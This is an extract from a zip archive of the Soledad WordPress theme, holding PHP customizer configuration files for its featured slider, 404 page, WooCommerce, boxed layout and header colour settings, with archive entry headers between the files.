	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;
		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size for Big Posts on the Slider', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'featured_slider_imgbig',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;
		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size on Mobile', 'soledad' ),
	'id'       => 'featured_slider_imgsize_mobile',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$default_image_sizes = get_intermediate_image_sizes();
		$image_sizes         = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Words Length for Post Titles', 'soledad' ),
	'id'       => 'penci_slider_title_length',
	'type'     => 'soledad-fw-size',
	'default'  => '12',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_slider_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '12',
		),
	),
);
$options[] = array(
	'label'    => __( 'Order By on Featured Slider', 'soledad' ),
	'id'       => 'featured_slider_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'date'          => __( 'Post Date', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'rand'          => __( 'Random Posts', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
	),
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Sort Order on Featured Slider', 'soledad' ),
	'id'       => 'featured_slider_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending ', 'soledad' ),
	),
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Amount of Slides', 'soledad' ),
	'id'       => 'penci_featured_slider_slides',
	'type'     => 'soledad-fw-size',
	'default'  => '6',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featured_slider_slides',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'label'    => __( 'Enable Auto Play Slider', 'soledad' ),
	'id'       => 'penci_featured_autoplay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Featured Slider Auto Time', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_featured_slider_auto_time',
	'type'        => 'soledad-fw-size',
	'default'     => '4000',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_featured_slider_auto_time',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4000',
		),
	),
);
$options[] = array(
	'label'       => __( 'Featured Slider Auto Speed', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_featured_slider_auto_speed',
	'default'     => '600',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_slider_auto_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '600',
		),
	),
);
$options[] = array(
	'label'    => __( 'Featured Penci Slider Height', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_height',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Slides Per Group', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_slidespg',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_slidespg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Start the slider from slide number', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_slideTo',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_slideTo',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'       => __( 'Custom Fixed Ratio Height/Width of Images on Penci Slider', 'soledad' ),
	'description' => __( 'Example: height/width = 0.45 = 45% - let fill 45', 'soledad' ),
	'id'          => 'penci_featured_penci_slider_ratio',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_penci_slider_ratio',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);
$options[] = array(
	'label'    => __( 'Remove Black Overlay Background on Heading & Captions of Penci Slider', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_penci_slider_remove_overlay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Filter Featured Slider By', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_featured_slider_filter_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'category' => __( 'Featured Category', 'soledad' ),
		'tags'     => __( 'Featured Tags', 'soledad' ),
	),
	'default'  => 'category',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Select Featured Category', 'soledad' ),
	'id'          => 'penci_featured_cat',
	'description' => __( 'Just apply when you select filter by Featured Category above', 'soledad' ),
	'default'     => '0',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$category   = [ '' ];
		$categories = get_categories( [
			'hide_empty'   => false,
			'hierarchical' => true,
		] );
		foreach ( $categories as $value ) {
			$category[ $value->term_id ] = $value->name;
		}

		return $category;
	} ),
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Fill List Featured Tags for Featured Slider', 'soledad' ),
	'id'          => 'penci_featured_tags',
	'description' => __( 'Just apply when you select filter by Featured Tags above. And please fill list featured tags slug here, check <a class="wp-customizer-link" rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Hide Featured Category', 'soledad' ),
	'id'          => 'penci_featured_cat_hide',
	'description' => __( 'Check this if you want the featured category to be hide on all pages.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Exclude All Posts on the Featured Slider in Latest Posts on Homepage', 'soledad' ),
	'description' => __( 'Let view your site outside customize page to see the changes.', 'soledad' ),
	'id'          => 'penci_exclude_featured_cat',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Center Box on Featured Slider', 'soledad' ),
	'id'       => 'penci_featured_center_box',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Turn off Uppercase of Heading/Post Titles on Slider', 'soledad' ),
	'id'       => 'penci_featured_off_uppercase_title',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_featured_meta_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Hide Categories Of Post', 'soledad' ),
	'id'          => 'penci_featured_hide_categories',
	'description' => '',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Display Categories for all Posts on Slider', 'soledad' ),
	'id'          => 'penci_featured_show_categories',
	'description' => __( 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_featured_meta_comment',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Post Author', 'soledad' ),
	'id'       => 'penci_featured_meta_author',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Hide Post Excerpt', 'soledad' ),
	'section'     => 'penci_section_fslider_general',
	'description' => __( 'Apply for some slider styles has post excerpt.', 'soledad' ),
	'id'          => 'penci_featured_meta_excerpt',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Format Icons', 'soledad' ),
	'id'       => 'penci_featured_slider_icons',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Add Google Adsense/Custom HTML Code Below Featured Slider', 'soledad' ),
	'id'          => 'penci_home_adsense_below_slider',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);

return $options;
PK     N\,+1  1  B  inc/customizer/config/sections/penci_section_spage_404_section.phpnu [        <?php
$options          = [];
$page_options     = [];
$page_options[''] = '- Default Theme Template -';
$page_layouts     = get_pages();
foreach ( $page_layouts as $page_builder ) {
	$page_options[ $page_builder->post_name ] = $page_builder->post_title;
}
$options   = [];
$options[] = array(
	'id'          => 'fof_page',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( '404 Page Template', 'soledad' ),
	'description' => esc_html__( 'Select the page you\'ve buit with the Elementor.', 'soledad' ),
	'choices'     => $page_options,
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( '404 Custom Main Image', 'soledad' ),
	'id'       => 'penci_not_found_image',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Below Main Image', 'soledad' ),
	'id'       => 'penci_not_found_removeline',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => "OOPS! Page you're looking for doesn't exist. Please use search for help",
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( '404 Custom Message Text', 'soledad' ),
	'id'       => 'penci_not_found_sub_heading',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Search Form', 'soledad' ),
	'id'       => 'penci_not_found_hide_search',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "BACK TO HOME PAGE"', 'soledad' ),
	'id'       => 'penci_not_found_hide_backhome',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Message Text', 'soledad' ),
	'id'       => 'penci_notfound_message_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_message_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Text on Search Form', 'soledad' ),
	'id'       => 'penci_notfound_input_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_input_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Back To Homepage"', 'soledad' ),
	'id'       => 'penci_notfound_backhome_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_backhome_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\$  $  N  inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_general_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Header Area', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_woo_shop_hide_cart_icon',
	'default'   => false,
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_checkbox_field',
	'label'     => __( 'Hide Header Shopping Cart Icon', 'soledad' ),
	'type'      => 'soledad-fw-toggle'
);
$options[] = array(
	'id'          => 'penci_woo_cart_style',
	'default'     => 'side-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Header Shopping Cart Style', 'soledad' ),
	'description'=>__('Select the shopping cart detail style.','soledad'),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'dropdown'   => __('Dropdown','soledad' ),
		'side-left'  => __('Side Left','soledad' ),
		'side-right' => __('Side Right','soledad' ),
	)
);
$options[] = array(
	'id'       => 'size_header_cart_icon_check',
	'default'  => '17',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Size for Woocommerce Icons at the Header', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_cart_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_woo_disable_breadcrumb',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Breadcrumb', 'soledad' ),
	'description'=>__('This option apply for shop archive page only.<br/>If you want to modify the single product breadcrumb, please navigate to <strong>WooCommerce > Single Product > Breadcrumb Position</strong>.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_2',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Sidebar Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_shop_enable_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Shop Page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_cat_enable_sidebar',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Sidebar On Shop Archive', 'soledad' ),
	'description'=>__('Show sidebar widget on Product Category/Tags/Atribute/Search Result pages','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_single_enable_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Single Product', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_single_sidebar_style',
	'default'     => 'bottom',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Single Product Sidebar Placement', 'soledad' ),
	'description'=>__('Select the position of the sidebar display on single product.','soledad'),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'bottom' => 'Bottom Content',
		'both'   => 'Top & Bottom',
	)
);
$options[] = array(
	'id'       => 'penci_woo_left_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Left Sidebar', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_widgets_scroll',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Scrollable For Filter Widget', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_woo_widgets_scroll_m_height',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Maximium Height For Filter Widget', 'soledad' ),
	'id'       => 'penci_woo_widgets_scroll_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_widgets_scroll_height',
		'mobile'  => 'penci_woo_widgets_scroll_m_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'id'       => 'penci_general_heading_4',
	'label'    => esc_html__( 'Pagination Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'pagination',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products pagination', 'soledad' ),
	'description'=>__('Choose a type for the pagination on your shop page.','soledad'),
	'id'          => 'penci_shop_product_pagination',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'pagination' => __('Pagination','soledad' ),
		'loadmore'   => __('Load More Button','soledad' ),
		'infinit'    => __('Infinit Scrolling','soledad' ),
	)
);
$options[] = array(
	'default'  => 'center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Page Navigation Alignment', 'soledad' ),
	'id'       => 'penci_woo_paging_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'center' => __('Center','soledad' ),
		'left'   => __('Left','soledad' ),
		'right'  => __('Right','soledad' ),
	)
);
$options[] = array(
	'default'     => '400',
	'sanitize'    => 'penci_sanitize_number_field',
	'label'       => __( 'Infinit Ajax Scroll Threshold', 'soledad' ),
	'description'=>__('Sets the distance between the viewport to scroll area for scrollThreshold event to be triggered. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#scrollthreshold">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_threshold',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_shop_product_pagination_ajax_threshold',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'false',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Infinit Scroll History Options', 'soledad' ),
	'description'=>__('Changes page URL and browser history. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#history-options">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_history',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'false'   => __('Disable','soledad' ),
		'push'    => __('Push','soledad' ),
		'replace' => __('Replace','soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'History Title', 'soledad' ),
	'description'=>__('Updates the window title. Requires history enabled. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#historytitle">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_title',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'id'          => 'penci_shop_mini_cart_quantity',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Side Cart Product Quantity Input', 'soledad' ),
	'description'=>__('Show quantity input on side cart product item.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'id'       => 'penci_shop_stock_progress_bar',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Stock Progress Bar on Product', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_5',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'id'       => 'penci_woocommerce_search_included_posts',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show blog search results below of product search', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_total',
	'default'  => 5,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total blog item Display under product serch', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_search_included_total',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_woocommerce_standard_page',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use standard page content for cart and checkout pages.', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
return $options;
PK     N\W  W  I  inc/customizer/config/sections/pencidesign_general_body_boxed_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Enable Body Boxed Layout', 'soledad' ),
	'description'=>__('This option does not apply when you enable vertical navigation','soledad'),
	'id'          => 'penci_body_boxed_layout',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Background Color for Body Boxed', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Image for Body Boxed', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Repeat', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	),
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Attachment', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_attachment',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'fixed'  => __('Fixed','soledad' ),
		'scroll' => __('Scroll','soledad' ),
		'local'  => __('Local','soledad' ),
	),
	'default'  => 'fixed',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Size', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'cover' => __('Cover','soledad' ),
		'auto'  => __('Auto','soledad' ),
	),
	'default'  => 'cover',
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     N\JUZ)  )  I  inc/customizer/config/sections/pencidesign_logo_header_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Background Color', 'soledad' ),
	'id'       => 'penci_header_background_color',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'esc_url_raw',
	'type'        => 'soledad-fw-image',
	'label'       => __( 'Header Background Image', 'soledad' ),
	'description' => __( 'You should use image with minimum width 1920px and minimum height 300px', 'soledad' ),
	'id'          => 'penci_header_background_image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_social_color_hover',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_slogan_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_slogan_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_slogan_line_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Main Bar', 'soledad' ),
	'id'          => 'penci_section_mainbar_heading',
